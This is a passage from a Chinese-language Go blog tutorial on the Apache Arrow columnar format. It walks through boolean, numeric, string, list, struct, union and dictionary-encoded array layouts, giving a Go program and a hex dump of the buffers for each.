00 00 00 00 00 00 00 00 00 00 |................| 00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000000 39 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |9...............| 00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| [true false (null) true true true false false false true] 输出结果的第一行是bitmap的部分。\n后面两段则是构成boolean array的两个buffer的layout，我们看到第一个buffer存储的是bitmap，第二个buffer则是存储的是boolean data。\n大家看到这个输出结果的第一感觉是：为什么用了这么多字节？我们数了一数，每个buffer用了64字节，这与arrow对buffer的对齐要求是分不开的，默认情况下，要求buffer按64字节对齐。\n3.3.2 Integer types arrow支持各种integer type作为primitive types，这里以int32为例：\n// int32_array_type.go func main() { bldr := array.NewInt32Builder(memory.DefaultAllocator) defer bldr.Release() bldr.AppendValues([]int32{1, 2}, nil) bldr.AppendNull() bldr.AppendValues([]int32{4, 5, 6, 7, 8, 9, 10}, nil) arr := bldr.NewArray() defer arr.Release() bitmaps := arr.NullBitmapBytes() fmt.Println(hex.Dump(bitmaps)) bufs := arr.Data().Buffers() for _, buf := range bufs { fmt.Println(hex.Dump(buf.Buf())) } fmt.Println(arr) } 输出上述程序的执行结果：\n$go run int32_array_type.go 00000000 fb 03 00 00 |....| 00000000 fb 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000000 01 00 00 00 02 00 00 00 00 00 00 00 04 00 00 00 |................| 00000010 05 00 00 00 06 00 00 00 07 00 00 00 08 00 00 00 |................| 00000020 09 00 00 00 0a 00 00 00 00 00 00 00 00 00 00 00 |................| 00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| [1 2 (null) 4 5 6 7 8 9 10] 值得注意的是：data buffer中是以小端字节序存储的int32。\n3.3.3 Float types Go对arrow的实现支持float16、float32和float64三个精度的浮点数类型，下面以float32为例，看看其layout：\n// float32_array_type.go func main() { bldr := array.NewFloat32Builder(memory.DefaultAllocator) defer bldr.Release() bldr.AppendValues([]float32{1.0, 2.0}, nil) bldr.AppendNull() bldr.AppendValues([]float32{4.0, 5.0, 6.0, 7.0, 8.0, 9.0, 10.1}, nil) arr := bldr.NewArray() defer arr.Release() bitmaps := arr.NullBitmapBytes() fmt.Println(hex.Dump(bitmaps)) bufs := arr.Data().Buffers() for _, buf := range bufs { fmt.Println(hex.Dump(buf.Buf())) } fmt.Println(arr) } 输出上述程序的执行结果：\n$go run float32_array_type.go 00000000 fb 03 00 00 |....| 00000000 fb 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000000 00 00 80 3f 00 00 00 40 00 00 00 00 00 00 80 40 |...?...@.......@| 00000010 00 00 a0 40 00 00 c0 40 00 00 e0 40 00 00 00 41 |...@...@...@...A| 00000020 00 00 10 41 9a 99 21 41 00 00 00 00 00 00 00 00 |...A..!A........| 00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| [1 2 (null) 4 5 6 7 8 9 10.1] 3.4 Variable-size Binary Type Primitive Types的slot是定长类型的，针对变长类型slot，Arrow定义了Variable-size Binary Type。在前面的那张不同类型的layout表中我们看到Variable-size Binary Type除了有bitmap buffer、data buffer外，还有一个offset buffer。\n下面我们就以最为典型的字符串(string) array为例，看看Variable-size Binary Type的layout是什么样子的：\n// string_array_type.go func main() { bldr := array.NewStringBuilder(memory.DefaultAllocator) defer bldr.Release() bldr.AppendValues([]string{\u0026quot;hello\u0026quot;, \u0026quot;apache arrow\u0026quot;}, nil) arr := bldr.NewArray() defer arr.Release() bitmaps := arr.NullBitmapBytes() fmt.Println(hex.Dump(bitmaps)) bufs := arr.Data().Buffers() for _, buf := range bufs { fmt.Println(hex.Dump(buf.Buf())) } fmt.Println(arr) } 运行该示例：\n$go run string_array_type.go 00000000 03 |.| 00000000 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000000 00 00 00 00 05 00 00 00 11 00 00 00 00 00 00 00 |................| 00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000000 68 65 6c 6c 6f 61 70 61 63 68 65 20 61 72 72 6f |helloapache arro| 00000010 77 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |w...............| 00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| [\u0026quot;hello\u0026quot; \u0026quot;apache arrow\u0026quot;] 我们看到Variable-size Binary Type使用了三个buffer，除了第一个bitmap buffer和最后的data buffer外，中间的那个是offset buffer。在offset buffer中，arrow使用一个整型数来指示每个slot的起始offset，这里将上面例子整理成一张示意图，大家可以看的更清晰一些：\n3.5 Fixed-Size List type 在上面Primitive Types的基础上，arrow提供了“嵌套类型”，比如List type。list type分为两类，一类是Fixed-Size List type，另一类则是Variable-Size List type。我们先来看Fixed-Size List type。\n顾名思义，Fixed-Size List type就是list的每个slot存储的都是类型相同且定长的值，可记作：FixedSizeList\\[N]。T可以是Primitive type或其他嵌套类型，N是T的长度。\n下面是一个fixed-size list type的示例，这里的Fixed-Size List type可以表示为FixedSizeList\\[3]，即list中每个slot存储的都是一个[3]int32数组：\n// fixed_list_array_type.go func main() { const N = 3 var ( vs = [][N]int32{{0, 1, 2}, {3, 4, 5}, {6, 7, 8}, {9, -9, -8}} ) lb := array.NewFixedSizeListBuilder(memory.DefaultAllocator, N, arrow.PrimitiveTypes.Int32) defer lb.Release() vb := lb.ValueBuilder().(*array.Int32Builder) vb.Reserve(len(vs)) for _, v := range vs { lb.Append(true) vb.AppendValues(v[:], nil) } arr := lb.NewArray().(*array.FixedSizeList) defer arr.Release() bitmaps := arr.NullBitmapBytes() fmt.Println(hex.Dump(bitmaps)) varr := arr.ListValues().(*array.Int32) bufs := varr.Data().Buffers() for _, buf := range bufs { fmt.Println(hex.Dump(buf.Buf())) } fmt.Println(arr) } 我们不再像前面那样直接打印FixedSizeList的Buffer layout，我们仅输出FixedSizeList的bitmap buffer，其value的buffer需要获取到其values，然后通过values type的buffer输出。上述示例输出结果如下：\n$go run fixed_list_array_type.go 00000000 0f 00 00 00 |....| 00000000 ff 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000000 00 00 00 00 01 00 00 00 02 00 00 00 03 00 00 00 |................| 00000010 04 00 00 00 05 00 00 00 06 00 00 00 07 00 00 00 |................| 00000020 08 00 00 00 09 00 00 00 f7 ff ff ff f8 ff ff ff |................| 00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| [[0 1 2] [3 4 5] [6 7 8] [9 -9 -8]] 这里有两个bitmap，一个是FixedSizeList的，一个是其values类型的，其value类型就是一个定长的int32 primitive array type。大家也可以借助《In-Memory Analytics with Apache Arrow》书中的一幅示意图再深刻理解一下FixedSizeList的layout：\n3.6 Variable-Size List type 有了FixedSizeList做铺垫，那么Variable-Size List type理解起来就容易了。和variable-size binary type一样，相较于FixedSizeList，Variable-Size List type在bitmap buffer基础上又多了一个offset buffer，我们看下面例子：\n// variable_list_array_type.go func main() { var ( vs = [][]int32{{0, 1}, {2, 3, 4, 5}, {6}, {7, 8, 9}} ) lb := array.NewListBuilder(memory.DefaultAllocator, arrow.PrimitiveTypes.Int32) defer lb.Release() vb := lb.ValueBuilder().(*array.Int32Builder) vb.Reserve(len(vs)) for _, v := range vs { lb.Append(true) vb.AppendValues(v[:], nil) } arr := lb.NewArray().(*array.List) defer arr.Release() bitmaps := arr.NullBitmapBytes() fmt.Println(hex.Dump(bitmaps)) bufs := arr.Data().Buffers() for _, buf := range bufs { fmt.Println(hex.Dump(buf.Buf())) } varr := arr.ListValues().(*array.Int32) bufs = varr.Data().Buffers() for _, buf := range bufs { fmt.Println(hex.Dump(buf.Buf())) } fmt.Println(arr) } 输出上述示例的运行结果：\n$go run variable_list_array_type.go 00000000 0f 00 00 00 |....| 00000000 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000000 00 00 00 00 02 00 00 00 06 00 00 00 07 00 00 00 |................| 00000010 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000000 ff 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000000 00 00 00 00 01 00 00 00 02 00 00 00 03 00 00 00 |................| 00000010 04 00 00 00 05 00 00 00 06 00 00 00 07 00 00 00 |................| 00000020 08 00 00 00 09 00 00 00 00 00 00 00 00 00 00 00 |................| 00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| [[0 1] [2 3 4 5] [6] [7 8 9]] 前两大块数据是Variable-Size List type的bitmap buffer和offset buffer。后两大段数据则是int32 array type的bitmap buffer和data buffer。Variable-Size List type的offset buffer有四个偏移量：0, 2, 6, 7，分别指向int32 array type的data buffer中的相应位置。\n《In-Memory Analytics with Apache Arrow》书中的一幅示意图可以帮助我们理解Variable-size List的layout：\n3.7 Struct type struct也是一个嵌套类型，它可以包含多个field，而每个field又是一个arrow array type。struct的layout中包含bitmap buffer，之后就是各个field value buffer。每个field也都有自己的layout，具体layout是什么样子的需根据field的type而定。下面是一个示例，这个示例中的struct有两个field：name和age，name是一个String类型的array，而age则是int32类型的array：\n// struct_array_type.go func main() { fields := []arrow.Field{ arrow.Field{Name: \u0026quot;name\u0026quot;, Type: arrow.BinaryTypes.String}, arrow.Field{Name: \u0026quot;age\u0026quot;, Type: arrow.PrimitiveTypes.Int32}, } structType := arrow.StructOf(fields...) sb := array.NewStructBuilder(memory.DefaultAllocator, structType) defer sb.Release() names := []string{\u0026quot;Alice\u0026quot;, \u0026quot;Bob\u0026quot;, \u0026quot;Charlie\u0026quot;} ages := []int32{25, 30, 35} valid := []bool{true, true, true} nameBuilder := sb.FieldBuilder(0).(*array.StringBuilder) ageBuilder := sb.FieldBuilder(1).(*array.Int32Builder) sb.Reserve(len(names)) nameBuilder.Resize(len(names)) ageBuilder.Resize(len(names)) sb.AppendValues(valid) nameBuilder.AppendValues(names, valid) ageBuilder.AppendValues(ages, valid) arr := sb.NewArray().(*array.Struct) defer arr.Release() bitmaps := arr.NullBitmapBytes() fmt.Println(hex.Dump(bitmaps)) bufs := arr.Data().Buffers() for _, buf := range bufs { fmt.Println(hex.Dump(buf.Buf())) } nameArr := arr.Field(0).(*array.String) bufs = nameArr.Data().Buffers() for _, buf := range bufs { fmt.Println(hex.Dump(buf.Buf())) } ageArr := arr.Field(1).(*array.Int32) bufs = ageArr.Data().Buffers() for _, buf := range bufs { fmt.Println(hex.Dump(buf.Buf())) } fmt.Println(arr) } 执行上述代码，我们将得到如下输出：\n$go run struct_array_type.go 00000000 07 00 00 00 |....| 00000000 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000000 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000000 00 00 00 00 05 00 00 00 08 00 00 00 0f 00 00 00 |................| 00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000000 41 6c 69 63 65 42 6f 62 43 68 61 72 6c 69 65 00 |AliceBobCharlie.| 00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000000 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000000 19 00 00 00 1e 00 00 00 23 00 00 00 00 00 00 00 |........#.......| 00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| {[\u0026quot;Alice\u0026quot; \u0026quot;Bob\u0026quot; \u0026quot;Charlie\u0026quot;] [25 30 35]} 第一大块数据是struct的bitmap buffer，之后的三大块数据是name field的bitmap、offset和data buffer，最后两大块数据则是age field的bitmap和data buffer。\n下面是那本书中的一个struct类型layout的示意图，可以帮助大家理解这个结构：\n3.8 Union type 学过C语言的都知道union，名为联合体，说白了就是一堆类型共享一块内存，好比现代医学中的“多重人格”，能表现出哪种人格全由你来定。\nArrow的union array type就是每个slot中放置一个union类型的序列。Arrow的union array type还分为两种，一种为dense union type，一种是sparse union type。至于他们有什么区别，我们可以通过下面的两个示例直观的看到。union array type相对于上面的primitive type和list、struct这样的嵌套类型来说都相对难于理解一些。\n我们先来看看dense union array type。\n3.8.1 dense union array type 我们先看一个这样的union array: [{i32=5} {f32=1.2} {f32=\\} {f32=3.4} {i32=6}]。我们看到这个union array实例有两种union type: float32和int32。其中float32有三个值：1.2、null和3.4；int32有两个值：5和6。我们编写go代码来构建一下这个union array：\n// dense_union_array_type.go var ( F32 arrow.UnionTypeCode = 7 I32 arrow.UnionTypeCode = 13 ) func main() { childFloat32Bldr := array.NewFloat32Builder(memory.DefaultAllocator) childInt32Bldr := array.NewInt32Builder(memory.DefaultAllocator) defer func() { childFloat32Bldr.Release() childInt32Bldr.Release() }() ub := array.NewDenseUnionBuilderWithBuilders(memory.DefaultAllocator, arrow.DenseUnionOf([]arrow.Field{ {Name: \u0026quot;f32\u0026quot;, Type: arrow.PrimitiveTypes.Float32, Nullable: true}, {Name: \u0026quot;i32\u0026quot;, Type: arrow.PrimitiveTypes.Int32, Nullable: true}, }, []arrow.UnionTypeCode{F32, I32}), []array.Builder{childFloat32Bldr, childInt32Bldr}) defer ub.Release() ub.Append(I32) childInt32Bldr.Append(5) ub.Append(F32) childFloat32Bldr.Append(1.2) ub.AppendNull() ub.Append(F32) childFloat32Bldr.Append(3.4) ub.Append(I32) childInt32Bldr.Append(6) arr := ub.NewDenseUnionArray() defer arr.Release() // print type buffer buf := arr.TypeCodes().Buf() fmt.Println(hex.Dump(buf)) // print offsets offsets := arr.RawValueOffsets() fmt.Println(offsets) fmt.Println() // print buffer of child array bufs := arr.Field(0).Data().Buffers() for _, buf := range bufs { fmt.Println(hex.Dump(buf.Buf())) } bufs = arr.Field(1).Data().Buffers() for _, buf := range bufs { fmt.Println(hex.Dump(buf.Buf())) } fmt.Println(arr) } 我们看到union array的构建也是非常复杂的。按照前面的表格，dense union array type的layout中metadata占用两个buffer，第一个buffer是typeIds，第二个buffer则是offset。没有data buffer，真正的数据存储在child array的layout中。我们运行一下上面的示例直观看一下：\n$go run dense_union_array_type.go 00000000 0d 07 07 07 0d 00 00 00 00 00 00 00 00 00 00 00 |................| 00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| [0 0 1 2 1] 00000000 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000000 9a 99 99 3f 00 00 00 00 9a 99 59 40 00 00 00 00 |...?......Y@....| 00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000000 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000000 05 00 00 00 06 00 00 00 00 00 00 00 00 00 00 00 |................| 00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| [{i32=5} {f32=1.2} {f32=\u0026lt;nil\u0026gt;} {f32=3.4} {i32=6}] 第一块数据是union typeid buffer，这里我们的union array type一共有两类子类型，我分为赋予他们的typeid为float32(0×07)和int32(0x0d)。union array type一共有5个slot(3个float32，2个int32)，typeids buffer这里用一个字节表示一个slot的类型，因此有3个07和2个0d。\n下面输出的[0 0 1 2 1]则是一个offset buffer。表示同类type的value buffer的offset(一个offset值是一个4字节的int32)。以int32 slot为例，我们有两个int32 slot，分为位于总union array type 的第一个和第五个。但int32 slot是放在一起存储为int32 primitive array type的，因此union array type的第一个slot是int32 primitive array type的第一个slot，即其offset在int32 type中的偏移为0。而union array type的第5个slot是int32 primitive array type的第2个slot，即其offset在int32 type中的偏移为1。这就是[0 0 1 2 1]中第一个值为0和最后一个值为1的原因。依次类推，你可以算一下为何中间的三个值为0 1 2。\n后面的四块数据则分别是float32 array type的buffer和int32 array type的buffer layout。我们用下图可以更直观地看到union array type的laytout：\n3.8.2 sparse union array type 接下来，趁热打铁，我们再来看看sparse union array type。我们还以union array: [{i32=5} {f32=1.2} {f32=\\} {f32=3.4} {i32=6}]为例，看看用sparse union array type来表示其layout是什么样子的。我们先用go构建出这个union array type：\n// sparse_union_array_type.go var ( F32 arrow.UnionTypeCode = 7 I32 arrow.UnionTypeCode = 13 ) func main() { childFloat32Bldr := array.NewFloat32Builder(memory.DefaultAllocator) childInt32Bldr := array.NewInt32Builder(memory.DefaultAllocator) defer func() { childFloat32Bldr.Release() childInt32Bldr.Release() }() ub := array.NewSparseUnionBuilderWithBuilders(memory.DefaultAllocator, arrow.SparseUnionOf([]arrow.Field{ {Name: \u0026quot;f32\u0026quot;, Type: arrow.PrimitiveTypes.Float32, Nullable: true}, {Name: \u0026quot;i32\u0026quot;, Type: arrow.PrimitiveTypes.Int32, Nullable: true}, }, []arrow.UnionTypeCode{F32, I32}), []array.Builder{childFloat32Bldr, childInt32Bldr}) defer ub.Release() ub.Append(I32) childInt32Bldr.Append(5) childFloat32Bldr.AppendEmptyValue() ub.Append(F32) childFloat32Bldr.Append(1.2) childInt32Bldr.AppendEmptyValue() ub.AppendNull() ub.Append(F32) childFloat32Bldr.Append(3.4) childInt32Bldr.AppendEmptyValue() ub.Append(I32) childInt32Bldr.Append(6) childFloat32Bldr.AppendEmptyValue() arr := ub.NewSparseUnionArray() defer arr.Release() // print type buffer buf := arr.TypeCodes().Buf() fmt.Println(hex.Dump(buf)) // print child bufs := arr.Field(0).Data().Buffers() for _, buf := range bufs { fmt.Println(hex.Dump(buf.Buf())) } bufs = arr.Field(1).Data().Buffers() for _, buf := range bufs { fmt.Println(hex.Dump(buf.Buf())) } fmt.Println(arr) } 和dense union type相比，sparse union type要求所有child type的length都要与union type相同。这就是上述代码为什么在append一个float32后，还要append一个emtpy的int32的原因。下面是上述程序的执行结果：\n$go run sparse_union_array_type.go 00000000 0d 07 07 07 0d 00 00 00 00 00 00 00 00 00 00 00 |................| 00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000000 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000000 00 00 00 00 9a 99 99 3f 00 00 00 00 9a 99 59 40 |.......?......Y@| 00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000000 1f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000000 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000010 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| [{i32=5} {f32=1.2} {f32=\u0026lt;nil\u0026gt;} {f32=3.4} {i32=6}] 同样，我们用一幅示意图可以直观的展现上述结果：\n到这里，我们可以简单对比一下dense和sparse union了。显然sparse由于特殊的要求，它实际占用的内存空间会更大。\n那么sparse union type用在何种场景呢？按《In Memory Analytics With Apache Arrow》书中的说法，sparse union更容易与矢量表达式求值(vectorized expression evaluation)一起使用。\n3.9 Dictionary-encoded type 最后说说字典编码类型。如果现在我们要存储一组字符串，这组字符串中存在重复的值，比如：[\u0026ldquo;foo\u0026rdquo;, \u0026ldquo;bar\u0026rdquo;, \u0026ldquo;foo\u0026rdquo;, \u0026ldquo;bar\u0026rdquo;, null, \u0026ldquo;baz\u0026rdquo;]，若使用之前提到variable-size binary type来表示，相同的字符串不会只存储一份，而是分别存储。\n针对这样的问题，Arrow提供了采用dictionary-encode的array type，在这种type下重复的字符串只会存储一份。我们看一个示例：\n// dictionary_encoded_array_type.go func main() { dictType := \u0026amp;arrow.DictionaryType{IndexType: \u0026amp;arrow.Int8Type{}, ValueType: \u0026amp;arrow.StringType{}} bldr := array.NewDictionaryBuilder(memory.DefaultAllocator, dictType) defer bldr.Release() bldr.AppendValueFromString(\u0026quot;foo\u0026quot;) bldr.AppendValueFromString(\u0026quot;bar\u0026quot;) bldr.AppendValueFromString(\u0026quot;foo\u0026quot;) bldr.AppendValueFromString(\u0026quot;bar\u0026quot;) bldr.AppendNull() bldr.AppendValueFromString(\u0026quot;baz\u0026quot;) arr := bldr.NewDictionaryArray() defer arr.Release() bufs := arr.Data().Buffers() for _, buf := range bufs { fmt.Println(hex.Dump(buf.Buf())) } dict := arr.Dictionary() // print value string in dict bufs = dict.Data().Buffers() for _, buf := range bufs { if buf == nil { continue } fmt.Println(hex.Dump(buf.Buf())) } fmt.Println(arr) } 输出上述程序的执行结果：\n$go run dictionary_encoded_array_type.go 00000000 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |/...............| 00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000000 00 01 00 01 00 02 00 00 00 00 00 00 00 00 00 00 |................| 00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000000 00 00 00 00 03 00 00 00 06 00 00 00 09 00 00 00 |................| 00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000000 66 6f 6f 62 61 72 62 61 7a 00 00 00 00 00 00 00 |foobarbaz.......| 00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| { dictionary: [\u0026quot;foo\u0026quot; \u0026quot;bar\u0026quot; \u0026quot;baz\u0026quot;] indices: [0 1 0 1 (null) 2] } 对照的下面的示意图，我们可以更好的理解这大段输出：\n我们看到dictionary array type实际上是通过一个indices建立了到底层存储字符串的array的offset的映射来实现字典编码的，这可以大大节省内存空间。\n还有一些类型，比如Time32/Time64、Date32/Date64等，其存储结构与上面的一些类型大同小异，大家可以自行研读规范以及做编码实践来理解体会。\n4. Arrow格式规范的版本管理与稳定性 Arrow格式规范自1.0开始便承诺遵循semver规范，即采用major.minor.fix的版本格式。只有当major版本发生变更时，才会引入不兼容的变化。当前format的版本是1.3，所以我们可以将其视作是向后兼容的。\n5. 小结 本文介绍了Apache顶级项目Arrow，这是一个旨在在内存中建立各个类型的统一格式规范的项目，基于Arrow，各个大数据系统便可以省去序列化/反序列化的动作直接操作Arrow数据；同时Arrow采用列式模型，天生适合数据处理与分析。\n文中对arrow的常见array type的layout进行了分析。虽然都叫type，但arrow定义的array type是描述一个“列”的，比如primitive types中的int32 type，它表示的是一个什么样的列呢？列中元素定长：sizeof(int32)、列的长度(array length)也是fixed的。只有理解到这一层次，才能更好的理解arrow。\n本文的代码和layout适用于： Arrow Columnar Format Version: 1.3版本。\n注：本文涉及的源代码在这里可以下载。\n6. 参考资料 Arrow FAQ – https://arrow.apache.org/faq/ Arrow implementation matrix – https://arrow.apache.org/docs/status.html influxdb团队将arrow的Go实现捐献给apache arrow项目 – https://arrow.apache.org/blog/2018/03/22/go-code-donation/ Go and Apache Arrow: building blocks for data science – https://arrow.apache.org/blog/2018/03/22/go-code-donation/ Use Apache Arrow and Go for Your Data Workflows – https://voltrondata.com/resources/use-apache-arrow-and-go-for-your-data-workflows Make Data Files Easier to Work With Using Golang and Apache Arrow – https://voltrondata.com/resources/make-data-files-easier-to-work-with-golang-arrow 《In-Memory Analytics with Apache Arrow》- https://book.douban.com/subject/35954154/ Apache Arrow的起源及其在当今数据领域的适用性 – https://www.dremio.com/blog/the-origins-of-apache-arrow-its-fit-in-todays-data-landscape/ “Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2023年，Gopher部落将进一步聚焦于如何编写雅、地道、可读、可测试的Go代码，关注代码质量并深入理解Go核心技术，并继续加强与星友的互动。欢迎大家加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2023/06/25/a-guide-of-using-apache-arrow-for-gopher-part1/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" 